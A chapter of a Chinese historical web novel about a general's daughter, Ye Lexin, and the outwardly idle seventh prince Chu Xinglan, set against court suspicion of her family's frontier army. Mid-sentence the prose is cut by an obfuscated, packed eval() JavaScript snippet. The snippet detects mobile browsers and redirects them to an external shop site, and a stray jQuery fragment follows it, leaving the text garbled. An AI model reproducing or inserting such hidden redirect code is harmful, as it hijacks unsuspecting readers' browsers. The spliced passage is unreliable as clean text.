次日清晨的学堂，炭火烧得旺。
楚星澜依旧裹着他那件黑色大氅，歪在案几上打瞌睡。
扇子丢在一边，眼睛闭着，呼吸均匀。
老夫子在前面讲书，讲得抑扬顿挫。
叶乐心坐在角落里，目光落在自己面前的竹简上。
可她一个字也没看进去。
她的余光落在那个打瞌睡的人身上。
他刚睡醒似的动了动，换了个姿势，眼睛还是闭着。
阳光从窗外斜进来，落在他脸上，那眉眼看起来懒洋洋的，连嘴角都垂着，一副没睡够的困顿模样。
叶乐心想起昨晚那双眼睛。
和眼前这个人，真的是同一个？
楚星澜像是感觉到了什么，忽然睁开眼。
四目相对，视线撞了个正着。
叶乐心握笔的手一顿。
他的眼睛刚睡醒，还带着点惺忪，看人的时候也懒懒的。
可他看着她，似并不打算移开视线，嘴角慢慢弯起来，弯出一个懒洋洋的笑，冲她眨了眨眼。
叶乐心垂下眼帘，盯着竹简。
她已经分不清，刚才那一瞬间的慌乱，是因为被他发现，还是因为其他什么。
她想起他昨晚的样子，有些恍惚，以为是她做了一个奇怪的梦。
老夫子的声音还在继续。
叶乐心没有再抬头，可她手里的笔，在竹简上悬停着，半天没写出下一个字。
那夜之后，叶乐心暗中留了心眼，分出了一部分精力盯着这位七殿下的动静。
她甚至连着几个深夜，避开巡逻的暗哨，摸黑去了那间漏风的废马棚。
可一连数日，那里除了腥臊的干草，再没亮起过半点微弱的烛火，也再没见过那个单薄的人影。
楚星澜那夜在暗室里展露出的那一丝令人胆寒的锋芒，仿佛只是叶乐心生出的一场荒诞错觉。
白日里的七殿下，依旧是那个烂泥扶不上墙的风流做派。
叶乐心冷眼旁观了几天，渐渐觉得，或许当真是自己把这位天潢贵胄想得深沉了。
一个在皇城里被酒色泡软了骨头的废物，就算偶尔在绝境里生出了一点心血来潮的野心，在这冻碎骨头的塞北风雪面前，那点可怜的坚韧又能撑得过几个晚上？
到底是个没用的软脚虾，吃不了苦，发现自己无能为力后，便也就心安理得地放弃了挣扎。
自此，两人同在大营，却似两条绝不交汇的线，成了井水不犯河水的状态。
到了后来，营中甚至传出了更为荒唐的流言。
听说这位七殿下嫌军中清苦无趣，索性连玄北营的别院都不回了。
他夜夜流连于关内城池那些鱼龙混杂的暗娼馆，寻欢作乐，一掷千金，醉生梦死地做回了他的安乐皇子。
听闻这些，叶乐心在心底冷嗤了一声，收回了那几分试探的视线。
玄北营的军务重如泰山，她实在没功夫将精力浪费在一个注定要烂在泥里的纨绔身上。
关于楚星澜的种种猜测，便渐渐被她抛诸脑后，权当是那夜被风沙迷了眼。
日子就这样如死水般滑过了大半个月。
夜里，长戍关的风比白日里更紧了些。
叶乐心带着徐副将巡查辎重营。
这一带堆积着待修的战车和报废的毡帐，散发着陈旧的霉味。
走到一堆半塌的旧帐篷后，叶乐心的脚步忽地顿住。
徐副将几乎在同时停下。
两人对了一个颜色，有人。
隔着高高垒起的辎重，听不真切，但绝不是风声。
叶乐心微微偏过头，视线顺着两辆破损战车的缝隙探过去。
十几丈开外，靠近大营最外围的木栅栏，楚星澜背对着他们。
他身上只披了件不起眼的灰棉袍。
他面前站着个人，穿着玄北营最普通的军卒号衣，头垂得很低。
徐副将眼神一沉，脚尖刚往前探了半寸。
叶乐心就抬起手，横在他身前。
就在那一瞬间，那个军卒似乎听到了动静。
那人原本微微躬着的背脊遽然绷紧。
隔着昏沉的暮色，那人的脸微微侧过来，目光直直地落在他们藏身的方向。
只一瞬，那军卒边低下头，声音拔高了些：“是，殿下放心，那几坛酒明日准送到，卑职告退。”
说完，他往后退了两步，转身便走。
叶乐心的目光紧紧盯在那人的脚下。
那步法看似寻常，脚底却半点沉重的皮靴踩地声都没发出来。
几个起落，便如鬼魅般融进了帐篷堆后的暗影里。
是个身怀绝顶轻功的好手。
楚星澜的背影在风中停滞了片刻。
他慢慢转过身。
暮色沉沉，隔着十几丈的距离，他看向那道缝隙。
两人谁都没有动。
光线太暗，叶乐心看不清他眼底的神色。
楚星澜拢了拢衣襟，转过身，沿着来时的路往营帐方向走去。
步幅不紧不慢，仿佛真的只是来交代一坛明日要喝的酒。
直到那道灰色的背影完全消失在转角，徐副将才压低声音到：“末将去拿人。”
叶乐心看了他一眼，只摇了下头：“追不上了。”
回到大帐时，天已经彻底黑透。
徐副将派去暗查的人很快回来复命，脸色难看：“少将军料得不错，没影了，那人专挑暗哨的死角走，是个高手。”
叶乐心颔首。
“少将军。”徐副将立在案前，眉头拧起，“七殿下在咱们营里私见的应是他的暗桩，这事若是……”
叶乐心抬手，止住了他要说的话。
她伸手拿过案头的挑竹，将快要熄灭的灯芯拨亮了些。
火光重新稳住，照亮了她沉静的脸。
“今日就当什么都没看见。”
叶乐心放下挑竹。
半晌。
“继续盯着。”她说，“别打草惊蛇。”
“是，少将军。”
接下来的日子，时间仿佛也被塞北的风吹钝了般，过得缓慢且磨人。
长戍关城墙上的血污一点点被冻成了黑红色的硬冰，营外枯黄的白茅也被日复一日的寒霜彻底压折了腰。
那些潜伏在暗处的各方眼线，似都耐着性子。
这种悄无声息的角力，一耗便是大半个月。
直到塞北真正的深冬，轰然而至。
一夜北风，长戍关砸下了一场大雪。
叶乐心晨起巡营。
路过学堂时，楚星澜正倚在窗边。
大冬天的，这人手里竟还摇着把金丝折扇，百无聊赖地挑着竹帘看雪。
隔着庭院里半树残梅，两人的视线撞了个正着。
楚星澜连摇扇的频率都没变。眼波一转，又落回那几点红梅上，懒洋洋的，像什么都没看见。
叶乐心脚下没停，踩着积雪，径直走了过去。
两人心照不宣地维持着这层薄如蝉翼的太平假象。
但这长戍关的漫天大雪，到底没能封死那些藏在暗处的腌臜耳目。
这世上，本就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766407|209714||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没有不透风的铁桶。
玄北营里先前生出的那些龃龉，终究还是被有心人添油加醋地化作了一封封字斟句酌的密折。
它们就像一群嗅到了血腥味的夜枭，悄无声息地借着北风飞出塞北，一头扎进了数千里外那座波谲云诡的皇城。
言官的笔杆子，向来是替圣上探路的刀，他们参奏的折子，字字句句都在诛叶家的心。
折子上痛心疾首地写着：七皇子乃天潢贵胄，代天子巡狩塞北，却在长戍关备受冷落排挤，以致只能纵情市井。
玄北营上下只知有叶帅，不知有天恩。
叶家更是纵女跋扈，欺压皇子。
长此以往，这大楚的北境防线，只怕早已成了针插不进，水泼不进的叶家私军！
藐视皇权，拥兵自重。
这八个字砸下来，足以让朝廷顺理成章地卡死玄北营过冬的粮草，甚至名正言顺地派下监军太监，直接分权掣肘。
叶修戟拿到密报时，坐在大帐里，将那张纸条攥在掌心。
他在战场上断了骨头都没皱过眉，此刻却被这几张几千里外的文绉绉的纸片，逼出了一身冷汗。
当夜，这位铁血主将熬着灯，枯坐在摇曳的烛火前，亲自磨墨，一笔一划地写了折子。
请罪并痛陈叶家满门忠烈绝无异心。
甚至为了以退为进，主动在折子里狠狠参了女儿叶乐心一本，恳请圣上降旨责罚，以此来平息帝王那多疑的猜忌。
一封泣血的奏折，封上火漆。
六百里加急，连夜送往御前。
晚膳，父女俩对着一桌粗茶淡饭。
叶修戟搁下筷子，声音比帐外的冬风还沉：“折子我递了，这阵子，面上的功夫你得做全，前序事情如今才发酵，是有心之人在推波助澜。”
他抬起眼，目光透过摇曳的烛影，看向大帐外漆黑的风雪。
“如今，多少双眼睛盯着大楚的玄北营，你可知，为何言官的几句话，便能让为父连夜上折子请罪？”
叶乐心握着筷子的手微微一顿，她自然是明了的。
叶修戟压低了嗓音：“大楚定鼎中原百年，当年咱们是如何把前朝那些拥兵自重，割据一方的节度使赶到关外，逼得他们和草原人融为一体，成了如今的铁勒诸部的……这段血泪史，皇帝可一天都没敢忘。”
叶乐心眸光微凛，她自然听得懂父亲话里的弦外之音。
前朝死于藩镇之乱。
大楚开国皇帝靠着军功起家，统一了中原，所以历代大楚帝王的心里，都深深扎着一根名为强干弱枝的刺。
“玄北营是用来抵御关外蛮夷与残军的最利之刃。”
叶修戟叹了一声，声音里透出几分疲惫，“君王夜不能寐，生怕有一天，这把刀会反向割断主人的喉咙，所以这位七殿下被发配到长戍关，到底是来避祸的废棋，还是圣上丢下来，试探玄北营这把刀到底还认不认主的试金石……”
叶修戟看着女儿：“乐心，咱们叶家，赌不起。”
叶乐心静静地听着，目光扫过父亲鬓边因为连日筹谋而新添的几缕灰白，又扫过案头那堆积如山，却迟迟等不到朝廷批复粮草的边防军报。
半晌，她咽下嘴里那口粗糙冰冷的米饭，点了点头。
在皇权那双充满猜忌的眼睛里，玄北营再怎么流血牺牲，也终究不过是一群需要时刻防备的异姓家奴。
这事关乎玄北营十万将士的生死后路，关乎叶家满门的九族性命。
在这样沉重的大局面前，她心里那点被个纨绔皇子冒犯的膈应，当真是连上秤称的资格都没有。